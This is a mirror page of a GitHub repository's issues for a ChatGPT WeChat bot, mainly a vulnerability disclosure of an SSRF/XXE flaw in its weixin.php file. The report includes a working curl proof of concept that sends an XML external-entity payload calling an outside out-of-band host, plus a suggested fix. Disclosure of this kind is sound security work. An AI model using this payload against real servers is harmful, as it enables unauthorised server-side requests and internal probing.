Giter VIP home page Giter VIP logo

chatgpt-wechat-personal's People

Contributors

dirk1983 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

chatgpt-wechat-personal's Issues

chatgpt账号注册相关问题咨询

哈喽,打扰了,请问一下chatgpt账号注册您是怎么去注册的,我这边试了2个gmail邮箱去注册,分别都提示我,账号存在风险,然后短信验证码无法发送继续下一步了。

请问您有没有遇到过这个问题。

SSRF vulnerability in `weixin.php` File (chatgpt-wechat-personal)

SSRF vulnerability in weixin.php File (chatgpt-wechat-personal)

0x01 Affected version

vendor: https://github.com/dirk1983/chatgpt-wechat-personal

version: [release](a0857f6)

php version: 7.0.30

libxml 2.8.0

0x02 Vulnerability description

A Server-Side Request Forgery (SSRF) in weixin.php file of [chatgpt-wechat-personal](a0857f6) allows remote attackers to force the application to make arbitrary requests via injection of arbitrary URLs by post a XML data. It should be noted that this vulnerability can be triggered without the need for authentication and is therefore more harmful.

The vulnerable code is located in the weixin.php file. Because the function does not perform sufficient checksumming on user-input, the taint is introduced from the file_get_contents("php://input") variable into the tainted function simplexml_load_string , and after the simplexml_load_string function is executed it sends a request to the URL specified by the user-provided URL, eventually leading to an SSRF vulnerability.

<?php
$xml_tree = simplexml_load_string(file_get_contents("php://input"));
echo $xml_tree->Content;
$prompt .= $xml_tree->Content;
$touser = $xml_tree->FromUserName;

Because the user-provided post data is unrestricted, it is also possible to use the server side to send requests, such as probing web services. The corresponding PoC is as follows:

image-20230908233946863

image-20230908233921766

You can also request the following curl command

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:9080' -H $'Content-Length: 134' -H $'Cache-Control: max-age=0' -H $'sec-ch-ua: ' -H $'sec-ch-ua-mobile: ?0' -H $'sec-ch-ua-platform: \"\"' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://127.0.0.1:9080' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-User: ?1' -H $'Sec-Fetch-Dest: document' -H $'Referer: http://127.0.0.1:9080/chatgpt-wechat-personal/weixin.php' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: zh-CN,zh;q=0.9' -H $'x-custom-ip-authorization: 127.0.0.1' -H $'Connection: close' \
    --data-binary $'<!DOCTYPE foo [\x0d\x0a\x09<!ENTITY  % xxe SYSTEM \"http://41fde16e72.ipv6.1433.eu.org/xxe\" >\x0d\x0a\x09%xxe;\x0d\x0a]>\x0d\x0a<root>\x0d\x0a\x09<name>&evil;</name>\x0d\x0a</root>' \
    $'http://127.0.0.1:9080/chatgpt-wechat-personal/weixin.php'

0x03 Mitigation

  1. It is recommended to disable external entities by adding the following line at the beginning of the code

    libxml_disable_entity_loader(true);

0x04 Acknowledgement

z3

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.